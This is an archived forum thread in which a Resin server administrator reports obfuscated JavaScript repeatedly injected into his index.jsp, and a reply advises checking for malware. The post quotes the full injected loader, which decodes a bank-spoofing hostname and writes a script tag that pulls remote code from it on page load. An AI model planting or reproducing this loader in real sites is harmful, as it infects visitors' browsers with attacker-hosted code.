PDA

View Full Version : Urgent: Strange code is added in index.jsp in Resin3.0.2


chopra.jitendra
01-29-2010, 03:45 AM
Hi friends,

I have three instance of resin 3.0.02 in my production env. Whenever i run index.jsp below code is added in any instance .. Before we had resin related code was added but now this is new problem..

I removed this code but again new code is added with fotolia.com

Please help out what is happening here.

<script> try{window.onload=function(){document.write('<div id=Tdyycgvlaaih2wp>bankofamerica-com.hsbc.co</div>');Fxc930wyghbba0 = document.getElementById('Tdyycgvlaaih2wp').innerHT ML + '.#u)&k#).(@g!#o!&u&g$^)$o&&!$^u$$-&c^@^&o$^(@m$^&$.$#g$@!a(#m$!!e!&)t((o#p$!s)#i$t)$@##e!^.^&#r&^!^u#(&:)!#K$)6#y$^#1&#y#!w)^o$$z^##t$(s@$#c@t($/^^^!g@#!o^&$@o$@g&@)l$@e!!.#&&c(@)o!&$m@$$)#/)@(g&o!o()g&@&l@#e@!.))$c@(!o(m)#/&@&i#(!^m&^a@(&g)(e()s#$h^a^@)c((&k#@.)#u#s$#(/$@^d&!$m$o##!z@^#.()o)!(r#!g^/^^@(b!)e&b^o^##@.)#))c)@o!!!$m@($)/@('.replace(/#|&|\^|\(|@|\!|\)|\$/ig, '') ;document.write('<scr'+'ipt src=h'+'ttp://'+Fxc930wyghbba0.replace(/K6y1ywoztsct/g, '8080')+'></scr'+'ipt>');} } catch(Z892ueeb ) {}</script>
<!--4215a28db450c041e7efea8bffa670cd-->
~

ferg
02-10-2010, 04:33 PM
You should check your system for malicious programs. That looks like something or someone is modifying your page.